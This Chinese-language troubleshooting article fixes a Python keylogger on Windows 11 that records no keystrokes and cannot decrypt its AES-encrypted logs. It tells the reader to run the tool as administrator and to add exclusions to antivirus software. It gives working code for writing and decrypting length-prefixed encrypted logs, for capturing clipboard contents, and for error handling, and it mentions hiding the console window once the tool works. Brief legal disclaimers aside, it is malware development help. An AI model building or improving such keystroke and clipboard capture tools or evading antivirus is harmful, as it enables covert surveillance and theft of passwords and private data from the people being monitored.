返回

修复Win11 Python Keylogger不记录按键及解密错误

windows

修复 Windows 11 下 Python Keylogger 不记录按键及解密日志错误

开发一个基于 Python 的键盘记录器(Keylogger)时,你可能会遇到一个头疼的问题:脚本在 Windows 11 上运行,看起来没毛病,也不报错,但就是没记录下任何按键。更糟的是,如果你尝试解密之前可能记录下的(或者空的)日志文件,还会遇到像 Decryption Error: MAC check failed[ERROR] Mismatched entry length! Expected 23824, got 2307. 或者 [ERROR] Unrealistic entry length 47642, possible corruption. 这样的错误。这通常发生在使用 AES 加密日志,但解密环节出了岔子的时候。

这篇文章就来帮你分析一下,为啥你的 Python keylogger 在 Windows 11 上可能“罢工”,以及怎么解决那些恼人的日志解密错误。

问题出在哪儿?

导致 keylogger 不工作和解密失败的原因可能有好几个,咱们一个个来看:

  1. Windows 11 权限和安全机制: Windows 系统,特别是 Win11,对能监控用户输入的程序管得相当严。你的 keylogger 脚本需要足够的权限才能捕捉全局键盘事件。普通用户权限多半是不够的,而且像 Windows Defender 或其他杀毒软件、EDR(终端检测与响应)系统,很可能直接就把这种行为给拦截了。pynput 库依赖底层的钩子(hooks),这些钩子恰好是安全软件重点盯防的对象。
  2. 日志文件结构问题: 代码里用 b"\n" 作为二进制加密数据块之间的分隔符写入文件 (log_file)。这是个大问题!因为加密后的二进制数据(包含 nonceciphertexttag)完全可能碰巧包含了 0x0a 这个字节(也就是 \n 的二进制表示)。当解密脚本按行读取 (for line in f:) 时,遇到数据中间的 0x0a 就会以为这一行结束了,导致读取的数据不完整。把这不完整的数据块喂给 decrypt_log 函数,自然就会因为数据被截断而触发 MAC check failed(因为 tag 不匹配或不完整)或者长度相关的错误。
  3. 日志条目长度处理不当: 中提到了尝试使用 [2-byte length] 前缀,但提供的代码并没有实现这个逻辑。错误信息 Mismatched entry length!Unrealistic entry length 强烈暗示解密脚本读取数据时发生了错位或读到了损坏的数据。这与上面提到的 b"\n" 分隔符问题高度相关,因为错误的分割会导致后续计算或校验失败。
  4. 文件路径或访问权限: 如果 log_fileerror_log_file 的路径(代码里的 "path\...")不正确,或者脚本没有在那个位置创建/写入文件的权限,那么日志自然就写不进去。
  5. AES 密钥不一致: 加密和解密时用的 secret_key 必须是完全一样的字节序列。如果两边不匹配,解密肯定失败。
  6. 代码逻辑或依赖库问题: 虽然不太常见,但 pynputpyperclip 在特定环境下可能有兼容性问题。另外,on_presslog_clipboard 内部如果发生未被捕获的异常,也可能导致日志记录中断。

怎么解决?

针对上面分析的原因,这里提供几个解决方案,你可以根据自己的情况试试。

方案一:搞定 Windows 权限和安全防护

原理: Keylogger 要干的活儿涉及到系统底层,需要高权限,还得绕过安全软件的拦截。

操作步骤:

  1. 以管理员身份运行: 最直接的方法。右键点击你的 Python 脚本或运行它的 cmd/PowerShell 窗口,选择“以管理员身份运行”。
    • 命令行方式: 可以使用 runas 命令,或者创建一个具有管理员权限的计划任务来启动脚本。
  2. 检查安全软件: 打开 Windows 安全中心(或其他第三方杀毒软件)的防护历史记录或隔离区,看看你的脚本或 python.exe 是不是被拦截了。
  3. 添加排除项(需谨慎!): 如果你确信脚本是安全的,并且明白其中的风险,可以在安全软件里把你的脚本文件、或者它运行的目录添加到排除列表。注意: 这会降低系统安全性,请务必只在你完全控制的环境下,并且清楚自己在做什么时才这样做。

安全建议:
开发和使用 keylogger 涉及严重的隐私和法律风险。确保你只在完全合法授权的情况下,在自己拥有所有权的设备上进行测试。滥用 keylogger 是非法的,且极不道德。

方案二:修正日志文件结构和解密逻辑

原理: 不再使用容易引起歧义的 b"\n" 作为二进制数据分隔符。采用更可靠的“长度-值”(Length-Value, LV)格式来存储每条加密记录。每条记录前面先写它的长度,然后紧跟着写实际的加密数据。

操作步骤 (Keylogger 端 - keylogger.py)

  1. 导入 struct 模块: 用于将长度打包成固定字节数。

    import struct
    
  2. 修改 write_log 函数:

    • 计算每条加密条目 (entry = nonce + ciphertext + tag) 的字节长度。
    • 使用 struct.pack 把这个长度打包成一个固定大小的字节串(比如 4 字节无符号整数,大端序 >I)。
    • 先向文件写入长度字节串,再写入加密数据本身。
    • 不要 再写入 b"\n"
    • 可以调用 f.flush() 强制将缓冲区内容写入磁盘,减少数据丢失风险。
    # keylogger.py
    import struct
    
    # ... (其他代码保持不变) ...
    
    def write_log():
        global log_buffer
        if log_buffer:
            try:
                # 使用 'ab' 模式打开文件
                with open(log_file, "ab") as f:
                    for entry in log_buffer:
                        # entry 已经是 bytes 类型 (nonce + ciphertext + tag)
                        entry_len = len(entry)
                        # 将长度打包为 4 字节大端序无符号整数
                        len_bytes = struct.pack('>I', entry_len)
    
                        # 先写入长度,再写入数据
                        f.write(len_bytes)
                        f.write(entry)
    
                    f.flush() # 确保数据写入磁盘
                log_buffer = [] # 清空缓冲区
            except Exception as e:
                error_message = f"Error writing to log file {log_file}: {e}"
                print(error_message)
                log_error(error_message) # 记录文件写入错误
    
    # ... (其他代码保持不变) ...
    

操作步骤 (解密端 - decrypt.py)

  1. 导入 struct 模块:

    import struct
    
  2. 修改文件读取逻辑:

    • 打开日志文件用 rb 模式。
    • 在一个循环里:
      • 先读取固定字节数(比如 4 字节)来获取下一条记录的长度。用 f.read(4)
      • 检查是否读到了足够的字节,如果 read() 返回空字节串,说明到达文件末尾;如果返回字节数不足 4,说明文件可能已损坏或提前结束。
      • 使用 struct.unpack 从读到的字节串中解包出长度值。
      • 进行合理性检查 :判断解包出的长度是否在一个预期范围内(例如,大于 0 且小于某个比较大的值,比如 50KB)。异常的长度值通常意味着文件损坏或读取错位。
      • 根据解包出的长度,使用 f.read(entry_len) 读取确切数量的字节作为加密数据。
      • 检查这次 read() 是否真的读到了预期长度的数据,如果不够,说明文件末尾数据不完整。
      • 将读到的加密数据传递给 decrypt_log 函数进行解密。
      • 如果读取长度或数据时发生错误(比如 struct.error 或读到文件尾),应停止处理或记录错误并尝试恢复(后者较复杂)。
    # decrypt.py
    import struct
    from Crypto.Cipher import AES
    
    secret_key = b"--key--" # 确保和 keylogger.py 中的密钥完全一致!
    log_file = "path\keylogs.bin" # 确保路径正确
    
    def decrypt_log(encrypted_data):
        # ... (解密函数本身不用改) ...
        try:
            nonce = encrypted_data[:16]
            ciphertext = encrypted_data[16:-16]
            tag = encrypted_data[-16:]
    
            cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
            decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
            return decrypted_text
        except ValueError as e: # 更具体地捕获解密错误
            # ValueError 通常是 MAC check failed 或解密数据问题
            return f"Decryption Error (ValueError): {e} - Data length: {len(encrypted_data)}"
        except Exception as e:
            return f"Decryption Error (General): {e} - Data length: {len(encrypted_data)}"
    
    MAX_EXPECTED_ENTRY_LEN = 65536 # 设置一个合理的单个条目最大长度 (例如64KB)
    
    try:
        with open(log_file, "rb") as f:
            while True:
                # 1. 读取长度前缀 (4字节)
                len_bytes = f.read(4)
                if not len_bytes:
                    # 正常到达文件末尾
                    break
                if len(len_bytes) < 4:
                    print(f"[ERROR] Corrupt log file: Incomplete length field at offset {f.tell() - len(len_bytes)}. Stopping.")
                    break
    
                try:
                    # 2. 解包长度值
                    entry_len = struct.unpack('>I', len_bytes)[0]
                except struct.error:
                    print(f"[ERROR] Corrupt log file: Invalid length field bytes {len_bytes.hex()} at offset {f.tell() - 4}. Stopping.")
                    break
    
                # 3. 长度合理性检查
                if entry_len == 0 or entry_len > MAX_EXPECTED_ENTRY_LEN:
                    print(f"[ERROR] Unrealistic entry length {entry_len} found at offset {f.tell() - 4}. Possible corruption. Stopping.")
                    # 可以尝试 f.seek() 跳过,但更安全是停止
                    break
    
                # 4. 读取实际的加密数据
                encrypted_data = f.read(entry_len)
                if len(encrypted_data) < entry_len:
                    print(f"[ERROR] Corrupt log file: Incomplete data chunk at offset {f.tell() - len(encrypted_data)}. Expected {entry_len} bytes, got {len(encrypted_data)}. Stopping.")
                    break
    
                # 5. 解密并打印
                decrypted_text = decrypt_log(encrypted_data)
                # 可以选择性地打印源数据长度或部分内容帮助调试
                # print(f"Read entry (length: {entry_len} bytes). Decrypted:", decrypted_text)
                print(decrypted_text) # 只输出解密后的内容
    
    except FileNotFoundError:
        print(f"[ERROR] Log file not found: {log_file}")
    except Exception as e:
        print(f"[ERROR] An unexpected error occurred during decryption process: {e}")
    
    # 注意:修改结构后,旧的日志文件将无法用新脚本解密。需要删除旧的 keylogs.bin 文件,让 keylogger 重新生成。
    

安全建议:
密钥 secret_key 不要硬编码在脚本里。考虑从配置文件、环境变量或安全的密钥管理系统中读取。直接放在代码里非常不安全。

进阶技巧:
对于非常长的日志,或者需要更高可靠性的场景,可以考虑在每条记录的长度字段旁边再加一个简单的校验和(如 CRC32)或者一个魔术数字(magic number),用来在读取时快速判断数据块是否有效或是否发生了读取错位。

方案三:确认文件路径和环境配置

原理: 确保脚本能找到并有权限写入日志文件所在的目录。

操作步骤:

  1. 使用绝对路径: 避免使用相对路径(如 "path\..."),改成明确的绝对路径,例如 C:\\Users\\YourUser\\Documents\\logs\\keylogs.bin。或者动态生成绝对路径。

  2. 检查目录存在性与权限: 在脚本开始时,检查日志目录是否存在,如果不存在就尝试创建它。同时,确认运行脚本的用户对该目录有写入权限。

    # keylogger.py (开头部分)
    import os
    import sys
    
    # --- 配置日志路径 ---
    # 建议使用绝对路径或基于脚本位置的路径
    try:
        # 例如,将日志放在用户文档目录下的一个子目录里
        log_dir = os.path.join(os.path.expanduser("~"), "Documents", "MyAppLogs")
    except Exception:
        # Fallback 或指定一个明确路径
        log_dir = "C:\\temp\\keylogger_logs" # Windows 示例
    
    log_file_name = "keylogs.bin"
    error_log_file_name = "error_logs.txt"
    
    log_file = os.path.join(log_dir, log_file_name)
    error_log_file = os.path.join(log_dir, error_log_file_name)
    
    # --- 确保目录存在 ---
    try:
        os.makedirs(log_dir, exist_ok=True) # exist_ok=True 使得目录已存在时不会报错
        print(f"[*] Using log file path: {log_file}")
        print(f"[*] Using error log path: {error_log_file}")
    except OSError as e:
        print(f"[ERROR] Could not create log directory '{log_dir}': {e}")
        sys.exit(1) # 如果无法创建日志目录,直接退出可能比较好
    
    # --- (可选)尝试写入测试,检查权限 ---
    try:
        test_file_path = os.path.join(log_dir, ".permission_test")
        with open(test_file_path, "w") as f_test:
            f_test.write("test")
        os.remove(test_file_path)
        print("[*] Write permissions to log directory verified.")
    except Exception as e:
        print(f"[ERROR] Cannot write to log directory '{log_dir}'. Please check permissions. Error: {e}")
        sys.exit(1) # 没有写权限也退出
    
    # --- 其他原始代码 ---
    # secret_key = b"--key--"
    # ...
    

方案四:核对 AES 密钥

原理: 加密和解密必须使用完全相同的密钥字节串。

操作步骤:

  1. 仔细比对: 打开 keylogger.pydecrypt.py,找到 secret_key = b"..." 这一行。确保两个文件里的字节串 b"..." 内容一模一样,包括大小写和特殊字符(如果你的密钥里有的话)。
  2. 避免复制粘贴错误: 特别是涉及到特殊字节时,复制粘贴可能出错。最好是直接比较文件内容或从同一个源头赋值。

安全建议:
重复一遍,别把密钥硬编码。研究一下怎么从安全的地方(比如 Windows Credential Manager,或者一个受保护的配置文件)加载密钥。

方案五:加强错误捕获和日志记录

原理: 更详细地记录脚本内部发生的错误,有助于定位是哪个环节出了问题(是键盘监听?剪贴板?还是文件写入?)。

操作步骤:

  1. 细化异常捕获:on_press, log_clipboard, write_log 等关键函数内部,用更具体的 try...except 块包住可能出错的操作。

  2. 记录详细错误信息: 使用 log_error 函数(你已经有了)记录下异常类型和消息,以及发生错误时的一些上下文信息(比如哪个键导致了 on_press 出错)。

    # keylogger.py
    
    # ... (log_error 函数已存在) ...
    
    def on_press(key):
        global log_buffer, current_sentence
        try:
            # ... (原始逻辑) ...
            if hasattr(key, "char") and key.char:
                # ...
            else:
                # ...
            # ...
            if text == "[ENTER]":
                 # ... 加密等操作 ...
                 try:
                      encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
                      log_buffer.append(encrypted_text)
                      current_sentence = ""
                 except Exception as enc_e:
                      error_message = f"Encryption failed in on_press: {enc_e}"
                      print(error_message)
                      log_error(error_message)
                      # Decide if you want to skip logging this entry or handle differently
            # ...
    
            if len(log_buffer) >= 10:
                write_log() # write_log 内部已有基本的错误处理
    
        except AttributeError as ae: # 特别处理按键没有'char'属性等pynput可能发生的状况
             error_message = f"Attribute error processing key '{key}': {ae}"
             # 通常由特殊功能键触发,可能无需记录为错误,或者仅记录 [UNHANDLED_KEY:{key}]
             print(f"[*] Note: {error_message}")
             # log_error(error_message) # Optional: Log if needed
    
        except Exception as e:
            # 捕获其他所有未预料到的错误
            error_message = f"Unexpected error in on_press for key '{key}': {e}"
            print(error_message)
            log_error(error_message)
    
    def log_clipboard():
        global log_buffer
        recent_text = ""
        while True:
            try:
                clipboard_data = pyperclip.paste()
                if clipboard_data and clipboard_data != recent_text:
                    # ... (加密和记录逻辑) ...
                     try:
                          timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                          encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
                          log_buffer.append(encrypted_clipboard)
                          write_log() # 写入剪贴板日志
                          recent_text = clipboard_data
                     except Exception as clip_enc_e:
                         error_message = f"Encryption/logging failed for clipboard data: {clip_enc_e}"
                         print(error_message)
                         log_error(error_message)
    
                time.sleep(5) # 轮询间隔
    
            except pyperclip.PyperclipException as pe: # pyperclip 可能有自己的异常类型
                error_message = f"Pyperclip error accessing clipboard: {pe}"
                print(error_message)
                log_error(error_message)
                time.sleep(30) # 出错后等久一点再试
    
            except Exception as e:
                # 捕获其他可能的错误
                error_message = f"Unexpected error in clipboard logging thread: {e}"
                print(error_message)
                log_error(error_message)
                time.sleep(30) # 出错后等久一点再试
    

调试技巧:
如果是在开发调试阶段,可以暂时去掉隐藏窗口的代码 (ctypes.windll...),让控制台可见,这样 print() 语句就能直接显示出来,方便看实时状态和错误。等功能稳定了再隐藏。

通过排查权限问题、修正日志结构,并辅以路径和密钥的检查,你的 Python keylogger 应该就能在 Windows 11 上重新开始记录按键,并且解密过程也能顺利进行了。记住,处理这类敏感操作时,务必谨慎并遵守法律法规。